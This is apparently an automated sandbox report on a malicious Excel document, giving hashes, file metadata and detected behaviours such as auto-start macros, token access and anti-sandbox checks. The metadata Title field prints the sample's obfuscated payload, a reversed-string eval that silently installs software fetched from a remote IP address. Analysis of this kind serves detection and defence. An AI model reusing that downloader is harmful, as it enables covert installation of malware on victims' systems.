Managed XDR

vtdl_1753892308_eo3p9jhw — malware analysis report

File info

Filename
vtdl_1753892308_eo3p9jhw
File type
Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Title: eval('}**)**"**5**3**2**.**8**6**.**0**1**.**5**8**1**/**/**:**p**t**t**h**"**(**t**c**u**d**o**r**P**l**l**a**t**s**n**I**;**2**=**l**e**v**e**L**I**U**{**)**)**"**r**e**l**l**a**t**s**n**I**.**r**e**l**l**a**t**s**n**I**s**w**o**d**n**i**W**"**(**t**c**e**j**b**O**X**e**v**i**t**c**A** **w**e**n**(**h**t**i**w'.split('**').reverse().join('')), Author: Ferop, Last Saved By: X112, Name of Creating Application: Microsoft Excel, Create Time/Date: Tue Aug 17 12:24:08 2021, Last Saved Time/Date: Tue Oct 5 12:11:48 2021, Security: 0
File size
76.9 KB
First seen
Last seen

Environment

win7/x86 en

Hashes

SHA1
38494676a2c664d0c125b3a801f43c31e6af5974
SHA256
17929cd7622d8d7954e89a917854c4cb44b5d7d1fe9f8fbd70a6d62785a4207c
MD5
9bced661571ac92ea6f95a0563569a52

Signatures

Execution

T1064 office_macros: The document contains macroses (total: 2)
T1064 office_macros_autoexec: The document contains an auto-start macro

Privilege Escalation

T1134 opens_thread_token: Opens the access token associated with a thread
T1134 opens_process_token: Opens the access token associated with a process

Defense Evasion

T1497 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining
T1064 office_macros: The document contains macroses (total: 2)
T1064 office_macros_autoexec: The document contains an auto-start macro
T1134 opens_thread_token: Opens the access token associated with a thread
T1134 opens_process_token: Opens the access token associated with a process

Discovery

T1497 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining
T1082 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining

Other

yara_rules: Static rules
office_summary: The document contains suspicious metadata
get_policy_info: Retrieves information about a Policy object
test_check_service: Starts services
antisandbox_check_graphics_card: Uses CreateDXGIFactory, potentially to detect graphics card
checktokenmembership: Checks user token with CheckTokenMembership call